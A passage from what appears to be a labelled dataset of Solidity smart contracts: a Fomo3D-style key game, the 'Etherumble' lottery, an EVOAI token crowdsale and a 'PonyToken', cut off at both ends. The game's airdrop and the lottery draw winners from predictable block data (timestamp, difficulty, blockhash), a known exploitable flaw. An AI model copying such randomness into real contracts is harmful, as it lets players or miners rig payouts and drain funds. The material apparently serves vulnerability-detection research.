msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(Suohadatasets.EventReturns memory _eventData_)
private
returns (Suohadatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, Suohadatasets.EventReturns memory _eventData_)
private
returns (Suohadatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(Suohadatasets.EventReturns memory _eventData_)
private
returns (Suohadatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
community_addr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_)
private
returns(Suohadatasets.EventReturns)
{
uint256 _com = (_eth.mul(3)) / 100;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit Suohaevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
community_addr.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Suohadatasets.EventReturns memory _eventData_)
private
returns(Suohadatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = 0;
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(13)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Suohadatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit Suohaevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == activate_addr, "only activate can activate"
);
require(activated_ == false, "shuoha already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library Suohadatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library SuohaKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,353 |
pragma solidity ^ 0.4 .18;
contract Etherumble {
struct PlayerBets {
address addPlayer;
uint amount;
}
PlayerBets[] users;
address[] players = new address[](20);
uint[] bets = new uint[](20);
uint nbUsers = 0;
uint totalBets = 0;
uint fees = 0;
uint endBlock = 0;
address owner;
address lastWinner;
uint lastWinnerTicket=0;
uint totalGames = 0;
modifier isOwner() {
require(msg.sender == owner);
_;
}
modifier hasValue() {
require(msg.value >= 10000000000000000 && nbUsers < 19);
_;
}
modifier onlyIf(bool _condition) {
require(_condition);
_;
}
function Etherumble() public {
owner = msg.sender;
}
function getActivePlayers() public constant returns(uint) {
return nbUsers;
}
function getPlayerAddress(uint index) public constant returns(address) {
return players[index];
}
function getPlayerBet(uint index) public constant returns(uint) {
return bets[index];
}
function getEndBlock() public constant returns(uint) {
return endBlock;
}
function getLastWinner() public constant returns(address) {
return lastWinner;
}
function getLastWinnerTicket() public constant returns(uint) {
return lastWinnerTicket;
}
function getTotalGames() public constant returns(uint) {
return totalGames;
}
function() public payable hasValue {
checkinter();
players[nbUsers] = msg.sender;
bets[nbUsers] = msg.value;
users.push(PlayerBets(msg.sender, msg.value));
nbUsers++;
totalBets += msg.value;
if (nbUsers == 2) {
endBlock = block.number + 15;
}
}
function endLottery() internal {
uint sum = 0;
uint winningNumber = uint(block.blockhash(block.number - 1)) % totalBets;
for (uint i = 0; i < nbUsers; i++) {
sum += users[i].amount;
if (sum >= winningNumber) {
withrawWin(users[i].addPlayer,winningNumber);
return;
}
}
}
function withrawWin(address winner,uint winticket) internal {
uint tempTot = totalBets;
lastWinnerTicket = winticket;
totalGames++;
nbUsers = 0;
totalBets = 0;
endBlock = 0;
delete users;
fees += tempTot * 5 / 100;
winner.transfer(tempTot * 95 / 100);
lastWinner = winner;
}
function withrawFee() public isOwner {
owner.transfer(fees);
fees = 0;
}
function destroykill() public isOwner {
selfdestruct(owner);
}
function checkinter() internal{
if (endBlock <= block.number && endBlock != 0) {
endLottery();
}
}
function callback() public isOwner{
if (endBlock <= block.number && endBlock != 0) {
endLottery();
}
}
} | 0 | 1,035 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
}
contract OraclizeInterface {
function getEthPrice() public view returns (uint256);
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
uint256 private totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance( address _owner, address _spender ) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) {
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed[_account][msg.sender]);
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
_burn(_account, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function burnFrom(address _from, uint256 _value) public {
_burnFrom(_from, _value);
}
function _burn(address _who, uint256 _value) internal {
super._burn(_who, _value);
emit Burn(_who, _value);
}
}
contract EVOAIToken is BurnableToken {
string public constant name = "EVOAI";
string public constant symbol = "EVOT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000 * 1 ether;
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
using SafeERC20 for EVOAIToken;
struct State {
string roundName;
uint256 round;
uint256 tokens;
uint256 rate;
}
State public state;
EVOAIToken public token;
OraclizeInterface public oraclize;
bool public open;
address public fundsWallet;
uint256 public weiRaised;
uint256 public usdRaised;
uint256 public privateSaleMinContrAmount = 1000;
uint256 public privateSaleMaxContrAmount = 10000;
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
event RoundStarts(uint256 timestamp, string round);
constructor(address _tokenColdWallet, address _fundsWallet, address _oraclize) public {
token = new EVOAIToken();
oraclize = OraclizeInterface(_oraclize);
open = false;
fundsWallet = _fundsWallet;
state.roundName = "Crowdsale doesnt started yet";
token.safeTransfer(_tokenColdWallet, 3200000 * 1 ether);
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 usdAmount = _getEthToUsdPrice(weiAmount);
if(state.round == 1) {
_validateUSDAmount(usdAmount);
}
uint256 tokens = _getTokenAmount(usdAmount);
assert(tokens <= state.tokens);
usdAmount = usdAmount.div(100);
state.tokens = state.tokens.sub(tokens);
weiRaised = weiRaised.add(weiAmount);
usdRaised = usdRaised.add(usdAmount);
_processPurchase(_beneficiary, tokens);
emit TokensPurchased(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
function changeFundsWallet(address _newFundsWallet) public onlyOwner {
require(_newFundsWallet != address(0));
fundsWallet = _newFundsWallet;
}
function burnUnsoldTokens() public onlyOwner {
require(state.round > 8, "Crowdsale does not finished yet");
uint256 unsoldTokens = token.balanceOf(this);
token.burn(unsoldTokens);
}
function changeRound() public onlyOwner {
if(state.round == 0) {
state = State("Private sale", 1, 300000 * 1 ether, 35);
emit RoundStarts(now, "Private sale starts.");
} else if(state.round == 1) {
state = State("Pre sale", 2, 500000 * 1 ether, 45);
emit RoundStarts(now, "Pre sale starts.");
} else if(state.round == 2) {
state = State("1st round", 3, 1000000 * 1 ether, 55);
emit RoundStarts(now, "1st round starts.");
} else if(state.round == 3) {
state = State("2nd round",4, 1000000 * 1 ether, 65);
emit RoundStarts(now, "2nd round starts.");
} else if(state.round == 4) {
state = State("3th round",5, 1000000 * 1 ether, 75);
emit RoundStarts(now, "3th round starts.");
} else if(state.round == 5) {
state = State("4th round",6, 1000000 * 1 ether, 85);
emit RoundStarts(now, "4th round starts.");
} else if(state.round == 6) {
state = State("5th round",7, 1000000 * 1 ether, 95);
emit RoundStarts(now, "5th round starts.");
} else if(state.round == 7) {
state = State("6th round",8, 1000000 * 1 ether, 105);
emit RoundStarts(now, "6th round starts.");
} else if(state.round >= 8) {
state = State("Crowdsale finished!",9, 0, 0);
emit RoundStarts(now, "Crowdsale finished!");
}
}
function endCrowdsale() external onlyOwner {
open = false;
}
function startCrowdsale() external onlyOwner {
open = true;
}
function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal view {
require(open);
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _validateUSDAmount( uint256 _usdAmount) internal view {
require(_usdAmount.div(100) > privateSaleMinContrAmount);
require(_usdAmount.div(100) < privateSaleMaxContrAmount);
}
function _getEthToUsdPrice(uint256 _weiAmount) internal view returns(uint256) {
return _weiAmount.mul(_getEthUsdPrice()).div(1 ether);
}
function _getEthUsdPrice() internal view returns (uint256) {
return oraclize.getEthPrice();
}
function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _usdAmount) internal view returns (uint256) {
return _usdAmount.div(state.rate).mul(1 ether);
}
function _forwardFunds() internal {
fundsWallet.transfer(msg.value);
}
} | 1 | 3,018 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PonyToken is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public _currentSupply;
mapping(address => bool) _protect;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Burn(address indexed burner, uint256 value);
function PonyToken() public {
symbol = "Pony";
name = "Platform of Open Nodes Integrated";
decimals = 18;
_totalSupply = 1000000000 * 10**uint256(decimals);
emit Transfer(address(0), owner, _totalSupply);
}
modifier whenNotInProtect(){
require(_protect[msg.sender] == false);
_;
}
function accountProtect(address _account) public onlyOwner{
require(_account != 0);
_protect[_account] = true;
}
function accountUnProtect(address _account) public onlyOwner{
require(_account != 0);
_protect[_account] = false;
}
function burn(uint256 _value) public whenNotInProtect{
_burn(msg.sender, _value);
}
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances[_account]);
require(_totalSupply > _amount);
_totalSupply = _totalSupply.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
emit Burn(_account, _amount);
}
function burnFrom(address _from, uint256 _value) public {
_burnFrom(_from, _value);
}
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed[_account][msg.sender]);
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
_burn(_account, _amount);
}
function totalSupply() public constant returns (uint) {
return _totalSupply;
}
function currentSupply() public constant returns (uint) {
return _currentSupply;
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public whenNotPaused whenNotInProtect returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public whenNotPaused whenNotInProtect returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) {
